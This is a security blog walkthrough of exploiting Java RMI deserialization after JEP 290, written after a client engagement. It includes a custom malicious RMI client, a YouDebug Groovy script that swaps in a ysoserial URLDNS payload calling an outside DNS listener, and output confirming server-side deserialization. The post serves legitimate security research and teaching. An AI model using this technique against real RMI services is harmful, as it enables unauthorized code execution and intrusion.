Introduction

The aim of this blog post is two-fold. The first goal is to provide a detailed walkthrough of how Remote Code Execution was achieved by Deserialization via RMI. While the second goal is to provide supporting evidence of how providing source code during an engagement will yield many more findings which wouldn’t have been possible to find otherwise.

This blog post was made possible due to the fantastic research of Hans-Martin Münch - Attacking Java RMI Services After JEP 290.[1]

RMI TL;DR

As the basics of RMI’s inner workings and how it can be exploited have been extensively covered in the past, this section will provide a very quick high-level overview for those who might be unfamiliar with the service. References will be provided to resources that cover this in far greater detail.

RMI stands for Remote Method Invocation and is a Java proprietary protocol. RMI is practically the object-oriented equivalent of RPC (Remote Procedure Call) and was developed to allow developers to implement client/server applications in Java. The basic functionality of RMI is that it allows an object running in one Java application (the client) to invoke methods on an object running in another Java application (the server).

RMI consists of three components:

  • Server
  • Client
  • Registry

The responsibility of the server is to export a remote object and bind an instance of it to the registry using a name. The registry itself is used as a lookup service (similar to how DNS works) which allows the client to lookup the name of the object instance that was bound by the server. Finally, if the registry locates the instance of the object, the reference to the object (living on the server) is returned to the client. The reference that’s returned to the client is known as the stub.

To allow the instance of the server-side object to be remotely interactable, the server must define an interface which extends the Remote interface[2]. Within this interface, be sure to provide the empty method definitions for the methods which will be available to be remotely called. The interface that’s defined must be known by both the client and the server.

RMI makes heavy use of serialization as information needs to be passed over the wire between the client <-> server. This will be explored in greater detail further in this post.

Lastly, the RMI Registry can be on a separate host from the server however, it’s quite common to spawn the registry on the same host from where the server is running, especially if there is only one application binding services to the registry. The RMI registry is typically spawned on Port 1099 however this can be left to the developer’s discretion. Finally, the service (interface) which is bound to the registry by default uses a random port however this can be specified by the developer.

The following diagram provides a high-level overview of the information described above: Screenshot Source: https://www.slideshare.net/heenamithadiya/javarmi-130925082348phpapp01

JEP 290

2016 was an unpleasant year for RMI as it was discovered by Moritz Bechler that it was possible to leverage exploitation in the RMI Registry by passing in a malicious serialized object as a parameter to the bind method of the naming registry. To exploit this vector, an RMI Registry must be accessible over the Internet and if so an attacker would be able to write a client which would attempt to bind a malicious object to the registry. However, it is not fairly common for the registry to be exposed over the Internet but rather more commonly found living in the intranet. This appears to be corroborated by Shodan[3] because as of the time of writing this post, there are only 7,545 instances of RMI Registries that can be accessed over the Internet.

Although if an attacker can gain access to the internal network as a result of other means if a host running the RMI Registry was to be discovered this could have resulted in an easy pivot (especially for red-team engagements).

In response to this, Java released JEP 290[4] shortly after Belcher’s research. Due to the severity of the vulnerability, JEP 290 was backported to several older Java versions as well. JEP 290 introduced serialization filters which essentially mitigated this exploitation technique.

Exploitation after JEP 290

After JEP 290 was implemented, it was discovered that it was possible to exploit RMI on the application level. Due to how RMI works, upon the client invoking a method on the stub which contains arguments, these arguments are then serialized when sent over the wire which are then deserialized on the receiving end. If the method accepts a complex type argument such as Strings and Objects in Java, the .readObject() method is called on the argument to convert the byte stream into an object on the receiving end.

An example of such a method is shown below where the method accepts an object of type Date:

String convertDate(Date today) throws RemoteException;

If a method is discovered that can be remotely invoked and accepts a complex type, this can result in exploitation via deserialization as a malicious object can be passed. However, as mentioned in Hans-Martin Münch’s research[1], an update released in January 2020 mitigated this exploitation technique in scenarios where Strings are passed as arguments.

The caveat here however is that an attacker would need to have underlying knowledge regarding the remote interface which was used to discern which methods accept arbitrary objects as arguments. Without knowledge of this interface, an attacker would essentially be left with the only choice to shoot in the dark. However, tools have been developed to help aid attackers who find themselves in such a predicament. These will be explored later in the next section.

Method Signatures

The way that RMI determines which method should be invoked on the server by the client is by utilizing method signatures. The way that method signatures work is that RMI generates a SHA1 hash using the method name, return type, and argument types. The names of the arguments themselves don’t make a difference. This process is done both on the client and server-side. Upon the client invoking a remote method on the stub, the hashes are compared, and if one matches that respective method is invoked.

As mentioned in the section above, in a black box scenario where the attacker doesn’t know how the interface was implemented it would be pretty much impossible to leverage exploitation.

In response to this, RMIScout[5] was released by BishopFox which bruteforces the method signatures of exposed RMI Interfaces to guess the method implementations. The way RMIScout works is by using a wordlist of signatures along with a wordlist of common method names and parameter lists to attempt to determine whether such a method definition exists. Apart from the signature bruteforcing functionality, if a method is indeed discovered which is deemed vulnerable the tool can be used to leverage exploitation.

As such the method signature bruteforcing functionality of RMIScout is typically used as a last resort in black-box scenarios where source code is not made available.

Exploitation Discovery

During a recent engagement, it was discovered that there was a method that accepts an arbitrary object as an argument. However, the finding was only made possible due to the developers providing the source code. Without the source code, this would have been impossible to discover due to how the developers implemented RMI in this context.

Please note: the actual implementation of the code shown below has been severely modified to protect the integrity of the assessment.

An interface was discovered which extends from Remote:

IExampleServiceReg.java:

1. package RMIExploitationDemo;
2.
3. import java.rmi.Remote;
4. import java.rmi.RemoteException;
5.
6. public interface IExampleServiceReg extends Remote {
7.     ExampleService returnService(String id) throws RemoteException;
8. }

The interface defines the returnService() method which accepts an argument of type String and returns a type of ExampleService.

ExampleService.java:

package RMIExploitationDemo;

import java.rmi.Remote;

public interface ExampleService extends Remote {
}

Afterwards, the implementation of this interface was examined:

ExampleServiceRegImpl.java:

1. package RMIExploitationDemo;
2.
3. import java.rmi.RemoteException;
4. import java.rmi.server.UnicastRemoteObject;
5. import java.util.HashMap;
6. import java.util.Map;
7.
8. public class ExampleServiceRegImpl extends UnicastRemoteObject implements IExampleServiceReg {
9.     private Map items = new HashMap();
10.
11.     protected ExampleServiceRegImpl() throws RemoteException {
12.         ServiceA a = new ServiceA(2099);
13.         items.put("Service A", a);
14.         ServiceB b = new ServiceB(3000);
15.         items.put("Service B", b);
16.     }
17.
18.     public ExampleService returnService(String id) throws RemoteException {
19.         return (ExampleService) items.get(id);
20.     }
21. }
22.

As shown above, a map by the name of items is initialized. Further, when the constructor is called, two new objects are instantiated which are of types ServiceA and ServiceB. The respective instances of these objects are then stored in the items map. Finally, the returnService() method is concretely implemented which returns a value from the items map associated with the key which is passed in as an argument. The instances of these objects which were stored in the items map will be further explored shortly.

Taking a closer look at how the server binds the remote object to the registry:

Server.java:

1. package RMIExploitationDemo;
2.
3. import java.rmi.Naming;
4. import java.rmi.registry.LocateRegistry;
5.
6. public class Server {
7.     public static void main(String[] args) {
8.         try {
9.             LocateRegistry.createRegistry(1099);
10.             Naming.bind("example-service", new ExampleServiceRegImpl());
11.         } catch (Exception e) {
12.             e.printStackTrace();
13.         }
14.     }
15. }

An RMI Registry was spawned on port 1099, and the server registered the object to the registry with the name of example_service.

This can be confirmed by running the NSE rmi-dumpregistry script using nmap which connects to a remote RMI registry and attempts to dump all of its objects:

$ nmap --script rmi-dumpregistry -p1099 localhost

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-14 10:50 PDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00022s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-dumpregistry:
|   example-service
|      implements java.rmi.Remote, RMIExploitationDemo.IExampleServiceReg,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @192.168.1.3:61867
|             extends
|_              java.rmi.server.RemoteObject

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds

The scan output shows that nmap discovered the registered name of the object example-service along with the name of the interface IExampleServiceReg. It’s also shown that the object was bound to Port 61867:

@192.168.1.3:61867

As shown in the IExampleServiceReg interface, the only method that the client-side stub will be able to interact with is returnService(). The retrunService() was concretely implemented in the ExampleServiceRegImpl in which its functionality was to return a value from the items map which held instances of two objects.

Let’s take a closer look at those two objects and their associated classes.

ServiceA.java:

1. package RMIExploitationDemo;
2.
3. import java.rmi.RemoteException;
4. import java.util.Date;
5.
6. public class ServiceA extends RemoteService implements IServiceA {
7.
8.     public ServiceA(int port) throws RemoteException {
9.         super(port);
10.     }
11.
12.     public void createOrder(int id, String name, Date today) throws RemoteException {
13.        // logic for creating order
14.         System.out.println("Order created");
15.     }
16.
17.     public int returnOrderId(String name) throws RemoteException {
18.         // logic for returning order id
19.         return 1337;
20.     }
21.
22.     public String returnOrderName(int id) throws RemoteException {
23.         // logic for returning order name
24.         return "genericname";
25.     }
26. }
27.

ServiceA inherits from RemoteService and implements the IServiceA interface thus providing a concrete implementation of the createOrder() method which was defined in the interface.

Taking a look at the IServiceA interface reveals:

IServiceA.java:

1. package RMIExploitationDemo;
2.
3. import java.rmi.RemoteException;
4. import java.util.Date;
5.
6. public interface IServiceA extends ExampleService {
7.     void createOrder(int id, String name, Date today) throws RemoteException;
8.     int returnOrderId(String name) throws RemoteException;
9.     String returnOrderName(int id) throws RemoteException;
10. }

Also looking at RemoteService which is the parent class from which ServiceA inherits from:

RemoteService.java:

1. package RMIExploitationDemo;
2.
3. import java.rmi.RemoteException;
4. import java.rmi.server.RMIClientSocketFactory;
5. import java.rmi.server.RMIServerSocketFactory;
6. import java.rmi.server.UnicastRemoteObject;
7.
8. public class RemoteService extends UnicastRemoteObject implements ExampleService {
9.
10.     protected RemoteService() throws RemoteException {
11.     }
12.
13.     protected RemoteService(int port) throws RemoteException {
14.         super(port);
15.     }
16.
17.     protected RemoteService(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
18.         super(port, csf, ssf);
19.     }
20. }
21.

To quickly break down the behavior of synergy of the three classes shown above:

  1. The IServiceA interface inherits from the ExampleService interface. Which in turn the ExampleService interface inherits from the Remote interface thus allowing the IService interface to be used as a remote interface.
  2. ServiceA then implements the IServiceA interface and inherits from the RemoteService class which in turn inherits from UnicastRemoteObject therefore allowing an instance of the object to be treated as a remote object and as thus invoked via the client.

It may sound a bit confusing but basically, it grants the client the ability to interact with the instance of ServiceA that is stored in the items map. As such the client is able to call the methods which have been defined in the IServiceA interface and implemented in the ServiceA class.

The ServiceB class is implemented identically as its ServiceA counterpart although defines a different set of methods that can be called. As none of the methods are vulnerable meaning they do not accept arbitrary objects, they will not be explored for the sake of brevity.

The reason behind why the developers stored the instances of the ServiceA and ServiceB objects in the map is because the instances can now behave as singletons. Instead of having each individual service bound to the registry, the server can now bind one service which will have a method (returnService()) that is responsible for returning a specific instance. Now the client will need to only initialize one stub and can return the instance of the service they need without having to worry about re-initializing it. As mentioned earlier, since the interfaces of ServiceA and ServiceB inherit from the ExampleService interface and both ServiceA and ServiceB inherit from RemoteService, the instances and their respective methods can be remotely invoked.

It was mentioned earlier in the post that the actual object is bound to a random port however for the developer to have control over this (especially in scenarios where firewalls with strict ingress/egress filtering exist). Because of this, it’s shown that the constructor belongs to ServiceA in turn calls the constructor of its parent class which is RemoteService, and passes in a port. RemoteService then takes the port and does the same thing and calls the constructor of its parent class which is UnicastRemoteObject passing in the port, therefore, binding the remote object to the port specified.

Finally, notice something peculiar about one of the methods in the IServiceA interface?

void createOrder(int id, String name, Date today) throws RemoteException;

The createOrder() method shown above allows for an arbitrary object aka an object of type Date to be passed thus resulting in deserialization.

Writing the Malicious RMI Client

As shown earlier in the post, there are various tools such as RMIScout which can help automate the process of exploiting vulnerable methods. While these tools are fantastic, none of them will work out of the box in this scenario due to how RMI was implemented.

As such a custom RMI client will need to be written to leverage exploitation.

To quickly recap how this client will work:

  1. Connect to the RMI Registry
  2. Lookup the remote object by its name which in this case would be example-service
  3. Return the example-service stub
  4. Call the .returnService() method on the stub to return the instance of ServiceA
  5. Call the .createOrder() method on the instance of ServiceA and pass in a malicious object in the place of the Date object.

Here is a rough draft of how the client implementation will look. Further on in the post, this snippet will be built upon to turn it into a fully-fledged exploit.

Client.java

1 package RMIClientDemo;
2
3 import java.rmi.NotBoundException;
4 import java.rmi.RemoteException;
5 import java.rmi.registry.LocateRegistry;
6 import java.rmi.registry.Registry;
7
8 public class Client {
9     public static void main(String[] args) throws RemoteException, NotBoundException {
10         Registry naming = LocateRegistry.getRegistry("localhost", 1099);
11         IExampleServiceReg example_service = (IExampleServiceReg) naming.lookup("example-service");
12         System.out.println(example_service.returnService("test"));
13     }
14
15 }
16

Shown on Line 10, naming is instantiated which obtains the remote object registry. Afterward on Line 11, the client queries the registry for the example-service, and the returned stub is cast of type IExampleServiceReg and is initialized as example_service. This means that example_service can call the methods which are defined in the IExampleServiceReg interface.

It was mentioned earlier in the blog post, that the client will need to know the interface which is defined by the server. As such, the IExampleServiceReg interface will need to be created on the client-side as well (the contents of the interface are shown above).

As shown in the IExampleServiceReg interface, the returnService() method will have a return type of ExampleService. In this scenario, ExampleService is an interface and for the client to compile, the ExampleService interface must be created as well.

Lastly, on Line 12, the stub now calls the returnService() method with an arbitrary String just to confirm the client can interact with the stub.

However, when running the client, the following error is thrown: Screenshot

This error occurs because of the IExampleServiceReg interface which was created on the server-side lives in a different package on the client-side. Due to this, RMI is unable to locate the interface on the client-side as it’s looking for it using the path which corresponds with the one on the server-side.

This can be confirmed by taking a closer look at the error:

java.lang.ClassNotFoundException: RMIExploitationDemo.IExampleServiceReg

To fix this, create a new package on the client-side which matches the name of the server-side package. In this scenario, the package name would be RMIExploitationDemo and place the IExampleServiceReg interface into this package.

As such, it is imperative that the fully qualified name of the interface which is defined in the client must match the fully qualified name name defined on the server.

Also as the returnService() method in the IExampleServiceReg interface has a return type of ExampleService. The ExampleService interface will also need to be created in a package that matches the implementation of the server-side.

Finally, the client project will look like the following: Screenshot

After running the client, ensure that no error is thrown and null is returned. The reason null is returned is that when calling the get() method on a HashMap with a key that doesn’t exist, null will be returned. This is confirmed in the API Docs[6]

The next step is to implement the logic which will call the returnService() method on the ServiceA instance which will be retrieved from the map.

To do this, the interface which ServiceA implements aka IServiceA will need to be added to the client. Just like the IExampleServiceReg interface, the package names will need to match.

Once that’s done, the following code can be added to the client:

1. IServiceA svc_a = (IServiceA) example_service.returnService("Service A");
2. svc_a.createOrder(1, "Random", new Date());

On Line 1, the String Service A is passed in as a parameter to the returnService() method. The reason the String Service A is passed is because it it was shown earlier in ExampleServiceRegImpl.java that this is the key that is associated with the ServiceA instance which was stored in the items map:

items.put("Service A", a);

The returned value is cast as type IServiceA and is initialized as the svc_a variable. On Line 2, svc_a then calls the createOrder() method passing it the required parameters.

To test whether the client can successfully pull the ServiceA instance, start the server and run the client. As the ServiceA implementation on the server-side contains a print statement, it will be printed in the server’s console if all works well:

Screenshot

To leverage exploitation, the benign Date object which the method expects needs to be replaced with a malicious serialized object. To generate the malicious serialized object, the ysoserial[7] tool will be used.

The best gadget to use for probing whether deserialization exists is the URLDNS gadget. This is because this gadget is included in the standard Java library and doesn’t require any external dependencies. Upon the malicious object being successfully deserialized and the gadget called, this will invoke a DNS Lookup. This is all dependent on whether the application has the ability to invoke DNS Lookups without any extraneous factors such as strict egress filtering.

Once the ysoserial jar has been downloaded, add it as a library to the client project’s classpath. After ysoserial has been added, the malicious object can be generated using the following code:

Object malicious_obj = new URLDNS().getObject("http://9b3459444e240a2a8575fe5f6adb.ns.pingb.in");

The argument that’s being passed to the getObject() method is the location of the DNS Listener. Several different types of listeners can be used including Burp Collaborator, DNSBin, Pingb.in, and many more. Ensure to prepend http:// to the DNS Listener host as it’s required by the URLDNS gadget.

The RMI Client code at the current moment looks like the following:

1. package RMIClientDemo;
2.
3. import RMIExploitationDemo.IExampleServiceReg;
4. import RMIExploitationDemo.IServiceA;
5. import ysoserial.payloads.URLDNS;
6.
7. import java.rmi.NotBoundException;
8. import java.rmi.RemoteException;
9. import java.rmi.registry.LocateRegistry;
10. import java.rmi.registry.Registry;
11. import java.util.Date;
12.
13. public class Client {
14.     public static void main(String[] args) throws Exception {
15.
16.         Object malicious_obj = new URLDNS().getObject("http://9b3459444e240a2a8575fe5f6adb.ns.pingb.in");
17.         Registry naming = LocateRegistry.getRegistry("localhost", 1099);
18.         IExampleServiceReg example_service = (IExampleServiceReg) naming.lookup("example-service");
19.         IServiceA svc_a = (IServiceA) example_service.returnService("Service A");
20.         svc_a.createOrder(1337, "Random", new Date());
21.     }
22.
23. }

As shown on Line 16, the malicious serialized object is generated and will need to replace the Date object on Line 20.

However, this is harder than it looks, and here’s why.

If the Date object is just replaced with the malicious object, a compiler error will be introduced:

Screenshot

As suggested by IDEA, the malicious_obj can be attempt to be cast as a Date object therefore fixing the compile error:

svc_a.createOrder(1, "Random", (Date) malicious_obj);

Though now when running the client, a new runtime error is introduced and that’s because the malicious_obj which is a HashMap cannot be cast a Date object:

Screenshot

Lastly what if the IServiceA interface (on the client-side) is modified to allow for a HashMap object to be passed? Well earlier in the post specifically the Method Signatures section, it was mentioned that the client and server generate method signatures of the interface when invoking an RMI method. If the method signatures don’t match, then the method will not be invoked. By changing the type of the argument in which the method expects, will in turn change the method signature, therefore preventing the RMI call being made.

There are different techniques to get around this, however, the simplest way is to write a proxy that will intercept the RMI call on the network level and swap the benign object with the malicious object. This is the technique that the tool BaRMIe[8] employs. However BaRMIe wouldn’t work in this scenario for two reasons:

  1. BaRMIe would need to be extended to work with this specific RMI scenario. This is because the remote interface which is bound to the registry is not vulnerable to exploitation, but rather an instance that can be retrieved by calling a specific method on the stub. As such, BaRMIe would need to be patched to support this workflow.
  2. BaRMIe only supports a specific set of gadgets, and URLDNS is not one of them.

Hans-Martin Münch discovered that it was possible to use YouDebug[9] which is a ‘non-interactable’ Java debugger that provides a scriptable debugger which is wrapped around the Java Debugging Interface (JDI). In Hans-Martin Münch’s blog post[1], they provide an example script that searches all arguments for a ‘needle` and then replaces it with the malicious object generated by ysoserial.

In layman’s terms, this will replace the parameters that are passed to the RMI call before the client has a chance to serialize them. This is done by writing a small script that will set a breakpoint, generate a malicious ysoserial object, and finally replace the malicious object with the harmless Date object. The script has been modified to work with this exact scenario and is shown below:

pwn.groovy:

1. // MODIFIED FROM SOURCE: https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/
1. def payloadName = "URLDNS";
2. def payloadCommand = "http://http://d1af66997310af6302b4fc41c19a.ns.pingb.in";
3.
4. println "Loaded..."
5.
6. vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {
7.
8.   println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"
9.
10.   // make sure that the payload class is loaded by the classloader of the debugee
11.   vm.loadClass("ysoserial.payloads." + payloadName);
12.
13.   // get the Array of Objects that were passed as Arguments
14.   delegate."@2".eachWithIndex { arg,idx ->
15.    if (arg[0].toString().contains("1337")) {
16.         println "[+] Replacing Date object with malicous object!"
17.     // Create a new instance of the ysoserial payload in the debuggee
18.         def payload = vm._new("ysoserial.payloads." + payloadName);
19.         def payloadObject = payload.getObject(payloadCommand)
20.     
21.         vm.ref("java.lang.reflect.Array").set(delegate."@2",2, payloadObject);
22.         println "[+] Done.." 
23.      }
24.   }
25. }

To quickly explain the behavior of the script:

  • Line 14 starts iterating through the arguments of each method. As there are two remote methods called in the RMI client:
   IServiceA svc_a = (IServiceA) example_service.returnService("Service A");
   svc_a.createOrder(1337, "Random", new Date());
  • Line 15 verifies that the first argument’s value once converted to a String) is 1337. This is done because the object which will be replaced is in the second method, and not the first.

  • If the value is indeed equal to 1337, then the malicious object is generated on Lines 18 & Lines 19.

  • Line 21 swaps the third argument (since array indexes start 0) aka the Date object with the malicious object.

To allow YouDebug to hook into the RMI Client, the RMI Client will need to be started with remote debugging support. This can be achieved by passing the following value as a VM option:

-agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000

One quick thing to note is that ensure that the ysoserial library exists in the RMI Client’s classpath when compiling the client.

Once all said is done, start the RMI Client and notice it hangs as its waiting for the debugger to connect on Port 8000:

Screenshot

Run YouDebug with the following arguments passing it the pwn.groovy script which was created earlier:

$ java -jar youdebug.jar -socket localhost:8000 pwn.groovy

The following output will be shown:

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.codehaus.groovy.reflection.CachedClass$3$1 (file:/private/tmp/rmi-exploitation/youdebug.jar) to method java.lang.Object.finalize()
WARNING: Please consider reporting this to the maintainers of org.codehaus.groovy.reflection.CachedClass$3$1
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
Loaded...
[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called
[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called
[+] Replacing Date object with malicious object!
[+] Done..

As there are two remote methods being invoked in the RMI Client, java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called will be shown twice. Finally, the print statement will be shown that the Date object has been swapped with the malicious object.

If all goes well, the output of the RMI Client should contain the following stack trace as an exception should’ve been thrown:

Exception in thread "main" java.lang.IllegalArgumentException: java.lang.ClassCastException@2d93291
 at sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
 at java.lang.reflect.Method.invoke(Method.java:498)
 at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:357)
 at sun.rmi.transport.Transport$1.run(Transport.java:200)
 at sun.rmi.transport.Transport$1.run(Transport.java:197)
 at java.security.AccessController.doPrivileged(Native Method)
 at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
 <snipped for brevity>
 at RMIClientDemo.Client.main(Client.java:19)

Like in the majority of Java deserializations, if the java.lang.ClassCastException is thrown this is a great sign as it means the malicious object was deserialized. In this scenario, the malicious object was deserialized on the server-side and thus the gadget was executed.

This is confirmed as to when checking the DNS Listener a lookup was in fact invoked: Screenshot

As deserialization is indeed possible, the next steps for an attacker would be to determine if a dependency exists in the application’s classpath which contains a vulnerable gadget supported by ysoserial, and leverage Remote Code Execution. If no such dependency exists, the attacker would need to build a custom gadget chain.

Conclusion & Wrapping Things Up

As demonstrated in this post, RMI exploitation is very much context-specific based on the application. While the several tools that have been developed to help leverage RMI exploitation are great in their own right, just with a lot of things in the security world - a one size fits all approach would not work here. This is due to the fact that the developers of the application took a unique approach to implement RMI.

In the case where source code was not provided and this was a black box scenario, this exploitation route would have not been discovered and lay dormant until an attacker would’ve obtained the source code by other means and wreaked havoc. As such, it’s highly recommended to provide testers the source code during an assessment of the application.

Thanks for taking out the time to read this post.

References

[1] https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290

[2] https://docs.oracle.com/javase/7/docs/api/java/rmi/Remote.html

[3] https://www.shodan.io/search?query=Java+RMI

[4] https://openjdk.java.net/jeps/290

[5] https://github.com/BishopFox/rmiscout

[6] https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html#get-java.lang.Object-

[7] https://github.com/frohoff/ysoserial

[8] https://github.com/NickstaDB/BaRMIe

[9] https://youdebug.kohsuke.org